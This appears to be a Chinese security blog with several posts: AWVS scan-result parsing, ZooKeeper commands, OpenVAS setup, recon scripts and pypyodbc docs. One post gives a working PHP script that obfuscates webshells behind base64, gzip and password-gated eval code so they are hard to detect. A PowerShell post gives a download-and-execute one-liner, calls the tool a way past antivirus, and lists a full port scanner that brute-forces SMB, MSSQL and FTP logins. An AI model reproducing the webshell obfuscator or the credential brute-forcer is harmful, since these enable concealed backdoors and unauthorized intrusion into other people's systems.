Awvs扫描结果数据库中有一个Wvs_scans表,保存的都是扫描过的url,以及扫描开始时间和结束时间。可以将当天下载的url保存到一个list中,然后在扫描之前先将之前所有扫描过的URL查询出来,同样保存在list中,读取list中的url,判断是否在扫描过的URL list中,如果存在将之从url list中删除掉;如果不存在则再进行扫描。

Awvs会自动将扫描结果保存到本地的access数据库中,具体的表是Wvs_alerts,也可以设置保存到Mssql数据库中,具体的是在Application Setting进行设置。结果入库模块的功能是从access数据库筛选出危害等级大于0的漏洞。然后用正则表达式对request中的host,漏洞文件,get或post提交的请求进行筛选拼凑,获取到完整的漏洞测试url。

其实可以发现:需要的东西都是保存到WVS_alerts

severity为危害等级,分为0,1,2,3分别是无影响,低位,中危,高危

algroup 为漏洞的类型

affects 为漏洞文件

根据某个这些思路。大约可以这么定义

 conn = win32com.client.Dispatch(r'ADODB.Connection')
    DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'
    conn.Open('awvs')
    cur=conn.cursor()
    rs = win32com.client.Dispatch(r'ADODB.Recordset')
 
    rs.Open('[WVS_alerts]', conn, 1, 3) 
    if rs.recordcount == 0:
        exit()
    #遍历WVS_alerts所有的结果,cmp进行筛选危害等级为3的,也就是高危
    while not rs.eof:
        severity = str(rs('severity'))
        if cmp('3', severity):
            rs.movenext
            continue
        vultype = rs('algroup')
        vulfile=rs('affects')
        #由于mysql库中要求的漏洞类型和access的名称有点差别,所以还需要对漏洞类型和危害等级进行二次命名,sql注入和xss为例
        xss='Cross site'
        sqlinject='injection'
        if xss in str(vultype):
            vultype='XSS'
            level='低危'
        elif sqlinject in str(vultype):
            vultype="SQL注入"
            level='高危'
        else:
            level='中危'
        #拼凑出漏洞测试url,用了正则表达式, post和get类型的request请求是不同的
        params = rs('parameter')
        ss = str(rs('request'))
        str1 = ss[0:4]
 
        if 'POST'== str1:
            requestType = 'POST'
            regex = 'POST (.*?) HTTP/1\.\d+'
            str1 = re.findall(regex, ss);
        else:
            requestType = 'GET'
            regex = 'GET (.*?) HTTP/1\.\d+'
            str1 = re.findall(regex, ss);
        regex = 'Host:(.*?)\r\n'
        host = re.findall(regex, ss);
        if host == []:
            host = ''
        else:
            host = host[0].strip()
        if str1 == []:
            str1 = ''
        else:
            str1 = str1[0]
        url =host + str1
        timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))

晚上到家,重新装了office里面的套件.access,重新打开mdb数据库。然后重新思考了下整个流程

1.用户输入网址进行扫描
 

os.system('%s /Scan %s /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true'%(wvs_console,url,folder,name))

然后会根据url会在WVS_scans创建一个scid。同时写入当前创建的时间。结束后写入结束的时间

result = "select scid,starttime,finishtime from WVS_scans where starturl="+%d (url)
id=result[scid]
start = result[starttime]
end = result[finishtime]

耗时:time = end -start

再根据scid来查询WVS_alerts里面的信息

result1 = select severity,algroup,affects,parameter,request from WVS_alerts where severity>0 and scid=result[scid]

漏洞级别 result1[severity]
漏洞类型 result1[algroup]
具体文件 result1[affects]
问题参数 result1[parameter]
请求过程 result1[request]

再把相关的数据整合就好了

#!/usr/bin/python
#-*- coding: utf-8 -*-
#Author:saline
#Email:nophacker@gmail.com
import pypyodbc

connection_string = 'Driver={Microsoft Access Driver (*.mdb)};DBQ=D:\\phpStudy\\WWW\\vulnscanresults.mdb'
connection = pypyodbc.connect(connection_string)
#使用Access的ODBC连接字符串,通过pypyodbc模块获得一个可以连接到vulnscanresults.mdb数据库的ODBC连接对象connection:
cur = connection.cursor()
#并从这个连接对象中,获取一个数据库操作游标cur:
sql='select scid,starttime,finishtime from WVS_scans where scid =1'
cur.execute(sql)
#首先,传递SQL查询语句至Access数据库:
for row in cur.fetchall():
    id =row[0]
    start = row[1]
    end = row[2]
    time = end -start
    print '消耗的时间为:'+ str(time)
    sql1 = 'select alid,algroup,severity,affects,parameter,request from WVS_alerts where severity>0 and scid=%d'%(id)
    cur.execute(sql1)
    for raw in cur.fetchall():
        print '第'+str(raw[0]+1)+'问题'
        print raw[1]
        print '危害等级:'+str(raw[2])
        print raw[3]
        print raw[4]
        print raw[5]

connection.close()

至此,一个简单的demo已经完成了。虽然是一些片段

Zookeeper常用命令

发布时间:July 15, 2015 // 分类:开发笔记,运维工作,linux,windows,python // No Comments

zk客户端命令

ZooKeeper命令行工具类似于Linux的shell环境,不过功能肯定不及shell啦,但是使用它我们可以简单的对ZooKeeper进行访问,数据创建,数据修改等操作.  使用 zkCli.sh -server 127.0.0.1:2181 连接到 ZooKeeper 服务,连接成功后,系统会输出 ZooKeeper 的相关环境以及配置信息。

命令行工具的一些简单操作如下:

如下示例:

  • 1. 显示根目录下、文件: ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容
  • 2. 显示根目录下、文件: ls2 / 查看当前节点数据并能看到更新次数等数据
  • 3. 创建文件,并设置初始内容: create /zk "test" 创建一个新的 znode节点“ zk ”以及与它关联的字符串
  • 4. 获取文件内容: get /zk 确认 znode 是否包含我们所创建的字符串
  • 5. 修改文件内容: set /zk "zkbak" 对 zk 所关联的字符串进行设置
  • 6. 删除文件: delete /zk 将刚才创建的 znode 删除
  • 7. 退出客户端: quit
  • 8. 帮助命令: help

429306093

429329789

 

ZooKeeper 常用四字命令:

      ZooKeeper 支持某些特定的四字命令字母与其的交互。它们大多是查询命令,用来获取 ZooKeeper 服务的当前状态及相关信息。用户在客户端可以通过 telnet 或 nc 向 ZooKeeper 提交相应的命令

传递四个字母的字符串给ZooKeeper,ZooKeeper会返回一些有用的信息。

ZooKeeper 四字命令

功能描述

conf

输出相关服务配置的详细信息。

cons

列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。包括“接受 / 发送”的包数量、会话 id 、操作延迟、最后的操作执行等等信息。

dump

列出未经处理的会话和临时节点。

envi

输出关于服务环境的详细信息(区别于 conf 命令)。

reqs

列出未经处理的请求

ruok

测试服务是否处于正确状态。如果确实如此,那么服务返回“imok ”,否则不做任何相应。

stat

输出关于性能和连接的客户端的列表。

wchs

列出服务器 watch 的详细信息。

wchc

通过 session 列出服务器 watch 的详细信息,它的输出是一个与watch 相关的会话的列表。

wchp

通过路径列出服务器 watch 的详细信息。它输出一个与 session相关的路径。

 

如下示例:

  • 1. 可以通过命令:echo stat|nc 127.0.0.1 2181 来查看哪个节点被选择作为follower或者leader
  • 2. 使用echo ruok|nc 127.0.0.1 2181 测试是否启动了该Server,若回复imok表示已经启动。
  • 3. echo dump| nc 127.0.0.1 2181 ,列出未经处理的会话和临时节点。
  • 4. echo kill | nc 127.0.0.1 2181 ,关掉server
  • 5. echo conf | nc 127.0.0.1 2181 ,输出相关服务配置的详细信息。
  • 6. echo cons | nc 127.0.0.1 2181 ,列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。
  • 7. echo envi |nc 127.0.0.1 2181 ,输出关于服务环境的详细信息(区别于 conf 命令)。
  • 8. echo reqs | nc 127.0.0.1 2181 ,列出未经处理的请求。
  • 9. echo wchs | nc 127.0.0.1 2181 ,列出服务器 watch 的详细信息。
  • 10. echo wchc | nc 127.0.0.1 2181 ,通过 session 列出服务器 watch 的详细信息,它的输出是一个与 watch 相关的会话的列表。
  • 11. echo wchp | nc 127.0.0.1 2181 ,通过路径列出服务器 watch 的详细信息。它输出一个与 session 相关的路径。

273847384

273799725

写个脚本来搞定


import sys
from kazoo.client import KazooClient
​
host = sys.argv[1]
conn = KazooClient(host)
conn.start()
sysinfo = conn.command('envi')
print sysinfo

 

OpenVas 8 on Ubuntu Server 14.04

发布时间:July 10, 2015 // 分类:运维工作,工作日志,linux // No Comments

This installation is not made for public facing servers, there is no build in security in my setup.
Everything is run as root in this example below, including daemons and web servers…
I take no responsibility if this guide bork you server, burn your house down to ashes or just messes up your life.. It’s under the “it worked for me[tm]” clause

首先来安装各种支持库

sudo apt-get install -y build-essential devscripts dpatch libassuan-dev  libglib2.0-dev libgpgme11-dev libpcre3-dev libpth-dev libwrap0-dev libgmp-dev libgmp3-dev libgpgme11-dev libopenvas2 libpcre3-dev libpth-dev quilt cmake pkg-config  libssh-dev libglib2.0-dev libpcap-dev libgpgme11-dev uuid-dev bison libksba-dev  doxygen sqlfairy xmltoman sqlite3 libsqlite3-dev wamerican redis-server libhiredis-dev libsnmp-dev  libmicrohttpd-dev libxml2-dev libxslt1-dev xsltproc libssh2-1-dev libldap2-dev autoconf nmap libgnutls-dev libpopt-dev heimdal-dev heimdal-multidev libpopt-dev mingw32

# Fix redis-server for some openvas default install settings.

cp /etc/redis/redis.conf /etc/redis/redis.orig
echo "unixsocket /tmp/redis.sock" >> /etc/redis/redis.conf
service redis-server restart

# Move in to the right place to download some tarballs.

cd /usr/local/src

# Become almighty root (remember: safety off, segmented internal build on)

sudo su
# Download ‘all the things’
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2015/openvas-libraries-8.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2016/openvas-scanner-5.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2017/openvas-manager-6.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2018/greenbone-security-assistant-6.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1987/openvas-cli-1.4.0.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1975/openvas-smb-1.0.1.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1999/ospd-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2005/ospd-ancor-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2003/ospd-ovaldi-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2004/ospd-w3af-1.0.0.tar.gz

# unpack

find . -name \*.gz -exec tar zxvfp {} \;

# Configure and install openvas-smb:

cd openvas-smb* 
mkdir build 
cd build/ 
cmake .. 
make 
make doc-full 
make install 
cd /usr/local/src

# config and build libraries

 cd openvas-libraries-* 
 mkdir build 
 cd build 
 cmake .. 
 make 
 make doc-full
 make install
 cd /usr/local/src

# config and build scanner

 cd openvas-scanner-* 
 mkdir build 
 cd build/ 
 cmake .. 
 make 
 make doc-full 
 make install 
 cd /usr/local/src

# reload libraries

ldconfig

#create cert

openvas-mkcert

# Sync nvt’s

openvas-nvt-sync

# Start openvassd

openvassd

# Check with ps or htop if the daemon is started. or perhaps..

# watch "ps -ef | grep openvassd"
root 32078 1 27 16:09 ? 00:00:36 openvassd: Reloaded 6550 of 34309 NVTs (19% / ETA: 09:10)
root 32079 32078 0 16:09 ? 00:00:00 openvassd (Loading Handler)
# Wait until "openvassd: Reloaded is done".. and switches to "Waiting for ingcoming..."

# config and build manager

cd openvas-manager-* 
mkdir build 
cd build/ 
cmake .. 
make 
make doc-full
make install
cd /usr/local/src

# get scap feed

openvas-scapdata-sync

# get cert feed

openvas-certdata-sync

# create client cert..

openvas-mkcert-client -n -i

# Initialize the Database

openvasmd --rebuild --progress
 (This is going to take some time, pehaps time to get coffee?)

#create user

openvasmd --create-user=admin --role=Admin
 (write down the password)

# config and build cli

cd openvas-cli-*
mkdir build
cd build/
cmake ..
make
make doc-full
make install
cd/usr/local/src

# configure and install gsa

cd greenbone-security-assistant-*
mkdir build
cd build/
cmake ..
make
make doc-full
make install
cd/usr/local/src

如果提示缺失libmicrohttpd,我们来安装

cd /var/tmp
wget http://ftpmirror.gnu.org/libmicrohttpd/libmicrohttpd-0.9.34.tar.gz
tar zxf libmicrohttpd-0.9.34.tar.gz
cd libmicrohttpd-*
./configure
make
makeinstall

然后重新继续上一步

# Start the all the stuff.

openvasmd --rebuild --progress 
openvasmd
gsad --http-only

# check installation

wget https://svn.wald.intevation.org/svn/openvas/trunk/tools/openvas-check-setup --no-check-certificate
chmod 0755 openvas-check-setup
./openvas-check-setup --v8 --server

This should be a working default installation of OpenVas 8.
To try is out, go to http://serverip and login with Admin and your generated password.

# If you want to have pdf reports and such, you can always install:

apt-get install texlive-full
(this is not optimal thou, this installs a bunch of packets..)

# And some autostart script for ubuntu 14.04. and OpenVas8
# Nothing fancy, I took the init.d scripts from the debs for OpenVas5 and changed some stuff to make it work in the above setup.
# So all credits goes to the creators of the scripts that are mentioned in the scripts comments..
# This below downloads my modded init.d, default, logrotate.d scripts
# Unpack the tarball, copy the thingies to etc/
# Create the symlink to /var/log/openvas
# Create the symlinks for the autostart jobs..

cd /usr/local/src
wget http://www.mockel.se/wp-content/uploads/2015/04/openvas-startupscripts-v8.tar.gz
tar zxvfp openvas-startupscripts-v8.tar.gz
cd openvas-startupscripts-v8
cp etc/* /etc/ -arvi
update-rc.d openvas-manager defaults
update-rc.d openvas-scanner defaults
update-rc.d greenbone-security-assistant defaults

 

python 域名转IP

发布时间:July 2, 2015 // 分类:开发笔记,运维工作,工作日志,linux,代码学习,python,windows // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse

def getIp(domain):
    trytime = 0
    while True:
         try:
            domain = domain.split(':')[0]
            myaddr = socket.getaddrinfo(domain,None)[0][4][0]
            return myaddr
         except:
            trytime+=1
            if trytime>3:
                return ""

if __name__=='__main__':
    www = "http://0cx.cc"
    hosts = urlparse.urlsplit(www)
    if ":" in hosts.netloc:
        host = hosts.netloc.split(":")[0]
        port = hosts.netloc.split(":")[1]
    else:
        host = hosts.netloc
        port = '80'
        print getIp(host)

 

最近在抓几个payload(java反序列的),准备拿socket来实现。暂时只能是模拟发包。

抓包工具 wireshark
在线python 沙盒 http://www.runoob.com/try/runcode.php?filename=HelloWorld&type=python

主要为了方便部分是有域名的。同时域名会转换为IP而准备的。一个从谷歌的搜索抓取结果的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os,sys,requests,re
import pdb,urllib
from urllib import unquote
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded',
    }
def google(domain):
    #domain ='site:0day5.com inurl:php'
    r =requests.get('https://www.google.com.hk/search?q='+domain+'&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=1&num=1000&',headers=headers)
    matc = re.findall('u=(.*?)&amp;prev=search',r.content)
    #page = re.findall("<div id=\"resultStats\">(.*?)<nobr>",r.text)
    #print page
    for url in matc:
        print unquote(url)

if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" test.py "+"keywords"
        print "example:"+"python test.py site:0day5.com"
        sys.exit() 
    else: 
        google(sys.argv[1])

一个svn的探测脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
r = requests.get('http://www.baidu.com/.svn/entries')
#print r.headers
get=r.text.split('\n')
dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!='']
file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!='']
print dir
print file

 

about pypyodbc

发布时间:June 26, 2015 // 分类:运维工作,工作日志,代码学习,linux,转帖文章,windows,python // No Comments

Connect to a Database

Make a direct connection to a database and create a cursor.

cnxn = pypyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=testdb;UID=me;PWD=pass')
cursor = cnxn.cursor()

Make a connection using a DSN. Since DSNs usually don't store passwords, you'll probably need to provide the PWD keyword.

cnxn = pypyodbc.connect('DSN=test;PWD=password')
cursor = cnxn.cursor()

There are lots of options when connecting, so see the connect function and ConnectionStrings for more details.

Selecting Some Data

Select Basics

All SQL statements are executed using the cursor.execute function. If the statement returns rows, such as a select statement, 

you can retreive them using the Cursor fetch functions (fetchonefetchallfetchmany). If there are no rows, fetchone will return None; 

fetchall and fetchmany will both return empty lists.

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:
    print row

Row objects are similar to tuples, but they also allow access to columns by name:

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
print 'name:', row[1]          # access by column index
print 'name:', row.user_name   # or access by name

The fetchone function returns None when all rows have been retrieved.

while 1:
    row = cursor.fetchone()
    if not row:
        break
    print 'id:', row.user_id

The fetchall function returns all remaining rows in a list. If there are no rows, an empty list is returned. 

(If there are a lot of rows, this will use a lot of memory. Unread rows are stored by the database driver in a compact format and are often sent in batches from the database server. 

Reading in only the rows you need at one time will save a lot of memory.)

cursor.execute("select user_id, user_name from users")
rows = cursor.fetchall()
for row in rows:
    print row.user_id, row.user_name

If you are going to process the rows one at a time, you can use the cursor itself as an interator:

cursor.execute("select user_id, user_name from users"):
for row in cursor:
    print row.user_id, row.user_name

Since cursor.execute always returns the cursor, you can simplify this even more:

for row in cursor.execute("select user_id, user_name from users"):
    print row.user_id, row.user_name

A lot of SQL statements don't fit on one line very easily, so you can always use triple quoted strings:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < '2001-01-01'
                  and bill_overdue = 'y'
               """)

Parameters

ODBC supports parameters using a question mark as a place holder in the SQL. 

You provide the values for the question marks by passing them after the SQL:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, '2001-01-01', 'y')

This is safer than putting the values into the string because the parameters are passed to the database separately, protecting against SQL injection attacks

It is also be more efficient if you execute the same SQL repeatedly with different parameters. The SQL will be prepared only once. (pypyodbc only keeps the last statement prepared, so if you switch between statements, each will be prepared multiple times.)

The Python DB API specifies that parameters should be passed in a sequence, so this is also supported by pypyodbc:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, ['2001-01-01', 'y'])
cursor.execute("select count(*) as user_count from users where age > ?", 21)
row = cursor.fetchone()
print '%d users' % row.user_count

Inserting Data

To insert data, pass the insert SQL to Cursor.execute, along with any parameters necessary:

cursor.execute("insert into products(id, name) values ('pypyodbc', 'awesome library')")
cnxn.commit()

cursor.execute("insert into products(id, name) values (?, ?)", 'pypyodbc', 'awesome library')
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Updating and Deleting

Updating and deleting work the same way, pass the SQL to execute. However, you often want to know how many records were affected when updating and deleting, in which case you can use the cursor.rowcount value:

cursor.execute("delete from products where id <> ?", 'pypyodbc')
print cursor.rowcount, 'products deleted'
cnxn.commit()

Since execute always returns the cursor, you will sometimes see code like this. (Notice the rowcount on the end.)

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Tips and Tricks

Since single quotes are valid in SQL, use double quotes to surround your SQL:

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount

If you are using triple quotes, you can use either:

deleted = cursor.execute("""
                         delete
                           from products
                          where id <> 'pypyodbc'
                         """).rowcount

Some databases (e.g. SQL Server) do not generate column names for calculations, in which case you need to access the columns by index. You can also use the 'as' keyword to name columns (the "as user_count" in the SQL below).

row = cursor.execute("select count(*) as user_count from users").fetchone()
print '%s users' % row.user_count

If there is only 1 value you need, you can put the fetch of the row and the extraction of the first column all on one line:

count = cursor.execute("select count(*) from users").fetchone()[0]
print '%s users' % count

This will not work if the first column can be NULL! In that case, fetchone() will return None and you'll get a cryptic error about NoneType not supporting indexing. If there is a default value, often you can is ISNULL or coalesce to convert NULLs to default values directly in the SQL:

maxid = cursor.execute("select coalesce(max(id), 0) from users").fetchone()[0]

In this example, coalesce(max(id), 0) causes the selected value to be 0 if max(id) returns NULL.

If you're using MS Access 2007, there are some subtle differences in the connection string:

conn = pypyodbc.connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to MDB or ACCDB>;")

Also, you need to use the square brackets notation if your column has spaces or nonstandard characters. I prefer an alias:
 

cursor.execute("SELECT Cust.[ZIP CODE] AS ZIPCODE FROM Cust")
for row in cursor:
        print row.ZIPCODE

Aboutt mysql

# using mysql odbc driver http://www.mysql.com/downloads/connector/odbc/
import pypyodbc
#connect to localhost
cnxn = pypyodbc.connect('Driver={MySQL ODBC 5.1 Driver};Server=127.0.0.1;Port=3306;Database=information_schema;User=root; Password=root;Option=3;')
cursor = cnxn.cursor()

#select all tables from all databases
cursor.execute("select t1.TABLE_SCHEMA field1,t1.TABLE_NAME field2  from `TABLES` t1;")
rows = cursor.fetchall()
for row in rows:
    print "%s.%s" % (row.field1,row.field2)

from:https://code.google.com/p/pyodbc/downloads/list

php 后门加密代码

发布时间:June 17, 2015 // 分类:运维工作,工作日志,PHP,linux,windows,转帖文章 // No Comments

在某司5看到了一个加密文件求解密的。默默的谷歌到了

http://www.unphp.net/decode/f8d9b784c5812649b44b3cf623805bd9/

如果需要解密,可以参考

http://wiki.yobi.be/wiki/Forensics_on_Incident_3

根据这篇文章的算法写了个简单的文件加密,什么大马小马加密出来的效果一模一样。效果很吊,双层加密,可以防爆破

<?php 
$file = 'D:/Web/index.php'; /*要加密的文件*/
$pass = '123456'; /*登录密码*/

function enc($code,$pass) {
        $len  = strlen($code);
        for($i = 0; $i < $len; $i++) {
                $pass .= $code[$i];
                $code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);
        }
        $code = base64_encode($code);
        $temp = str_split($code,80);
        $newc = join("\r\n",$temp);
        return $newc;
}

$code = file_get_contents($file);
$code = base64_encode(' ?>'.$code.'<?php ');
$code = 'eval(base64_decode(\''.$code.'\'));exit;';
$code = gzdeflate($code);
$pass = md5($pass).substr(md5(strrev($pass)),0,strlen($pass));

$out  = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);
$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);
$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';
echo htmlspecialchars($out);
echo '</pre>';
?>

一句话把加密后的$_POST['wp_wp']改成$_GET['wp_wp'],连接加上参数?wp_wp=xxxxxx。即可

powershell学习笔记

发布时间:June 16, 2015 // 分类:运维工作,工作日志,代码学习,转帖文章,windows // No Comments

1.前言

powershell 功能异常强大,需要.NET 2.0以上环境,不要第三方支持,白名单,轻松过杀软。

在win7/server 2008以后,powershell已被集成在系统当中

============================================

2.基础语法

有点和php一样呢。直接百度一个网站开始学习。。。

http://www.pstips.net/powershell-online-tutorials/

非常简单的学习了一些,来一个脑图:

另外需要说明的是如何加载ps脚本的问题:

方法1:powershell IEX (New-Object Net.WebClient).DownloadString('https://raxxxxx/xxx.ps1');

方法2: set-ExecutionPolicy RemoteSigned

Import-Module .\xxxxx.ps1 [导入模块]

================================

 

3.实例代码

学了不用等于白学,招了一个github 源码[https://github.com/samratashok/nishang/tree/master/Scan],

抄抄改改,写出一个端口扫描,并且支持ftp,smb和mssql爆破ps1脚本

代码:


function Port-Scan {
    [CmdletBinding()] Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $StartAddress,

        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $EndAddress,
        
        [string]
        $file,
        
        [int[]]
        $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
        
        [int]
        $TimeOut = 100
    )  
    Begin {
    $ping = New-Object System.Net.Networkinformation.Ping
    }
    Process {
    
    #init Brute force SQL Server function
    $Connection = New-Object System.Data.SQLClient.SQLConnection

        
        
    $result=@()
    foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
        foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
        foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
            foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
            
            $ip="$a.$b.$c.$d"
            $pingStatus = $ping.Send($ip,$TimeOut)
            
            $openport=@()
            
            if($pingStatus.Status -eq "Success") {
                write-host "$ip is alive" -ForegroundColor red

                
            for($i = 1; $i -le $ports.Count;$i++) {
                    $port = $Ports[($i-1)]
                    $client = New-Object System.Net.Sockets.TcpClient
                    $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                    Start-Sleep -Milli $TimeOut
    
                    if($client.Connected) {                     
                        $openport += $port
                
                        write-host "$ip open $port" -ForegroundColor red     
                        "$ip open $port" | out-file -Append -filepath $file
                        }
                    
                    $client.Close()
                
                }
                
            $iphash=@{ip=$ip;ports=$openport}
            $result +=$iphash
            
            }
            }
        }
        }
    }
    
    foreach ($i in $result){
        foreach ($port in $i.ports){
            #brute smb
            $ip=$i.ip
            if($port -eq 445){
                Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
                $conf=Get-Content 'conf\smb.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    
                    if (wmic /user:$username /password:$password /node:$ip process call create "") {
                        Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
                        "login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
                        break
                    }else{
                        Write-Host "login smb to $ip with $username : $password is fail"
                    }
                }
                
            }
            #brute mssql
            if($port -eq 1433){
                Write-host "Brute Forcing SQL Service on $ip...."  -ForegroundColor Yellow
                $conf=Get-Content 'conf\mssql.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    $Connection.ConnectionString = "Data Source=$ip;Initial Catalog=Master;User Id=$username;Password=$password;"
                    Try
                    {
                        $Connection.Open()
                        $success = $true
                    }
                    Catch
                    {
                        $success = $false
                        Write-host "login mssql to $ip with $username : $password fail "
                    }
                    if($success -eq $true) 
                    {
                            Write-host "login mssql to $ip with $username : $Password  is successful" -ForegroundColor green
                            "login mssql to $ip with $username : $Password  is successful"| out-file -Append -filepath $file
                            Break
                    } 
                }
                
            }
            
            
            if($port -eq 21){
                Write-host "Brute Forcing ftp Service on $ip...."  -ForegroundColor Yellow
                $source = "ftp://" + $ip
    
                $conf=Get-Content 'conf\ftp.conf'
                foreach ($j in $conf){
                    Try 
                    {
                        $username=$j.Split(":")[0]
                        $password=$j.Split(":")[1]                
                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        Write-host "login ftp to $ip with $username : $password  is successful" -ForegroundColor green
                        "login ftp to $ip with $username : $password  is successful"| out-file -Append -filepath $file
                        break
                    }
                    Catch {
                    Write-host "login ftp to $ip with $username : $password fail "
                    }
                }
                

            }
            
            

        }
    }
    
    Write-host "put all into $file" -ForegroundColor red
    
    }
    
    
    
    
    End {
    }
}

效果:

bug:

1.代码是单线程的速度一定慢,不知道powershell要怎么去分配线程池

2.smb直接使用了wmic命令,当密码不对时候会显示一个错误,不知道如何去屏蔽不显示

代码没有没有进行服务指纹识别什么的,还是非常粗糙的

 

================================

4.一些很屌的powershell工具

